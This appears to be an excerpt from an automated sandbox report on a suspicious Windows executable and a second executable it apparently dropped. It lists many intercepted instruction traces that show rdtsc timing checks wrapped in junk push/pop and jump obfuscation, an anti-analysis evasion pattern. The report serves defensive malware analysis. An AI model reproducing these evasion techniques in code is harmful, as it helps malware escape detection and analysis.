Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52209C0 second address: 52209C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52209C6 second address: 52209CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52209CA second address: 52209CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52209CE second address: 52209DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a mov dx, si 0x0000000d push eax 0x0000000e push edx 0x0000000f mov cl, C2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52209DF second address: 5220528 instructions: 0x00000000 rdtsc 0x00000002 mov si, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 retn 0008h 0x0000000b cmp dword ptr [ebp-2Ch], 10h 0x0000000f mov eax, dword ptr [ebp-40h] 0x00000012 jnc 00007FD2D8EB8E35h 0x00000014 push eax 0x00000015 lea edx, dword ptr [ebp-00000590h] 0x0000001b push edx 0x0000001c call esi 0x0000001e push 00000008h 0x00000020 pushad 0x00000021 mov ecx, 250B1D47h 0x00000026 push eax 0x00000027 push edx 0x00000028 mov ah, B7h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220B2B second address: 5220B61 instructions: 0x00000000 rdtsc 0x00000002 mov ch, B6h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FD2D8B2F87Dh 0x0000000c jmp 00007FD2D8B2F87Bh 0x00000011 popfd 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD2D8B2F880h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220B61 second address: 5220B70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220B70 second address: 5220BB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD2D8B2F87Fh 0x00000009 sub al, 0000007Eh 0x0000000c jmp 00007FD2D8B2F889h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD2D8B2F87Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220BB2 second address: 5220BEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 2721E824h 0x00000008 pushfd 0x00000009 jmp 00007FD2D8EB8E3Dh 0x0000000e sub esi, 225F1666h 0x00000014 jmp 00007FD2D8EB8E41h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220BEA second address: 5220BFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F87Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220BFD second address: 5220C4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 761199AAh 0x00000008 pushfd 0x00000009 jmp 00007FD2D8EB8E3Bh 0x0000000e and ecx, 3CB90E4Eh 0x00000014 jmp 00007FD2D8EB8E49h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f jmp 00007FD2D8EB8E3Eh 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220C4B second address: 5220C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220C4F second address: 5220C53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220C53 second address: 5220C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: 9BF379 second address: 9BF383 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD2D8EB8E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: 9BF383 second address: 9BF389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: 9BF389 second address: 9BEC60 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b js 00007FD2D8EB8E55h 0x00000011 push dword ptr [ebp+122D05B5h] 0x00000017 or dword ptr [ebp+122D22DBh], eax 0x0000001d call dword ptr [ebp+122D1EB7h] 0x00000023 pushad 0x00000024 mov dword ptr [ebp+122D1E1Dh], eax 0x0000002a xor eax, eax 0x0000002c pushad 0x0000002d push edi 0x0000002e xor dword ptr [ebp+122D1F86h], ebx 0x00000034 pop ebx 0x00000035 movsx eax, cx 0x00000038 popad 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d jc 00007FD2D8EB8E3Ch 0x00000043 mov dword ptr [ebp+122D1F86h], ebx 0x00000049 js 00007FD2D8EB8E37h 0x0000004f mov dword ptr [ebp+122D3A67h], eax 0x00000055 jo 00007FD2D8EB8E3Ch 0x0000005b sub dword ptr [ebp+122D1F86h], ebx 0x00000061 mov esi, 0000003Ch 0x00000066 jng 00007FD2D8EB8E37h 0x0000006c add esi, dword ptr [esp+24h] 0x00000070 or dword ptr [ebp+122D1F86h], ecx 0x00000076 lodsw 0x00000078 pushad 0x00000079 add dx, 1BF0h 0x0000007e jl 00007FD2D8EB8E3Ah 0x00000084 popad 0x00000085 add eax, dword ptr [esp+24h] 0x00000089 jmp 00007FD2D8EB8E42h 0x0000008e mov ebx, dword ptr [esp+24h] 0x00000092 jmp 00007FD2D8EB8E49h 0x00000097 push eax 0x00000098 push eax 0x00000099 push edx 0x0000009a jmp 00007FD2D8EB8E49h 0x0000009f rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B3FF5E second address: B3FF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B3F02A second address: B3F02F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B3F47B second address: B3F491 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F87Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FD2D8B2F876h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B41145 second address: B41149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B41149 second address: B41155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B41155 second address: B41160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B41447 second address: B4144C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B4144C second address: B41472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add cl, 00000000h 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D292Eh], ebx 0x00000017 push 9945C0A6h 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f jns 00007FD2D8EB8E36h 0x00000025 pop esi 0x00000026 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B415B0 second address: B415C6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD2D8B2F87Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B415C6 second address: B415DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8EB8E40h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B415DB second address: B415E0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B61981 second address: B61990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8EB8E3Bh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B61990 second address: B61994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B61994 second address: B619AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007FD2D8EB8E3Eh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B619AE second address: B619C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F884h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B61B0F second address: B61B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD2D8EB8E36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B62077 second address: B6207C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6221B second address: B62225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FD2D8EB8E36h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B62393 second address: B623A2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD2D8B2F876h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B623A2 second address: B623CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8EB8E40h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FD2D8EB8E3Fh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B623CA second address: B623D4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD2D8B2F876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B62541 second address: B6254C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FD2D8EB8E36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6254C second address: B62552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B2FA74 second address: B2FA89 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD2D8EB8E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD2D8EB8E3Bh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B2FA89 second address: B2FA9F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD2D8B2F87Ah 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FD2D8B2F876h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B2FA9F second address: B2FAA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B630CD second address: B630D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B631FA second address: B63201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B63201 second address: B63218 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD2D8B2F87Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007FD2D8B2F886h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B63627 second address: B6363A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B66491 second address: B66496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B69640 second address: B69644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B69644 second address: B6964A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6F603 second address: B6F60D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD2D8EB8E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B28DE0 second address: B28E0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F885h 0x00000007 jmp 00007FD2D8B2F87Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FD2D8B2F876h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6E99B second address: B6E9CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E40h 0x00000007 jmp 00007FD2D8EB8E47h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jbe 00007FD2D8EB8E3Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6E9CE second address: B6E9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jbe 00007FD2D8B2F87Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6E9DC second address: B6E9FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD2D8EB8E3Ch 0x0000000d jmp 00007FD2D8EB8E3Eh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6ECF9 second address: B6ED09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8B2F87Ch 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6F13E second address: B6F166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8EB8E40h 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FD2D8EB8E3Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6F166 second address: B6F16B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6F16B second address: B6F1A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E45h 0x00000007 jmp 00007FD2D8EB8E41h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FD2D8EB8E3Ch 0x00000016 jo 00007FD2D8EB8E36h 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6F1A6 second address: B6F1AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6F1AC second address: B6F1B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6F1B1 second address: B6F1C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2D8B2F881h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6F1C8 second address: B6F1D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B6FD32 second address: B6FD3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FD2D8B2F876h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B702D4 second address: B702D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B702D8 second address: B702DD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B703AE second address: B703B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B709D4 second address: B709D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B709D8 second address: B709E2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD2D8EB8E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B709E2 second address: B70A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F884h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jp 00007FD2D8B2F876h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B70A3E second address: B70A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B70A43 second address: B70A68 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007FD2D8B2F876h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebx 0x0000000f jp 00007FD2D8B2F87Ch 0x00000015 nop 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jo 00007FD2D8B2F876h 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B70D8B second address: B70D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B70E27 second address: B70E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD2D8B2F888h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 jmp 00007FD2D8B2F87Ch 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B715BA second address: B715C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B715C1 second address: B715CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FD2D8B2F876h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B715CB second address: B715CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B715CF second address: B715DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B715DE second address: B715E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B715E2 second address: B715E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B71E30 second address: B71E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B738F1 second address: B738F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B74DEB second address: B74DF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B76392 second address: B76398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B76398 second address: B7639D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B77C9C second address: B77CB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FD2D8B2F876h 0x0000000a jmp 00007FD2D8B2F87Dh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B77CB3 second address: B77CD0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD2D8EB8E36h 0x00000008 jmp 00007FD2D8EB8E40h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B77CD0 second address: B77CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B31751 second address: B31757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
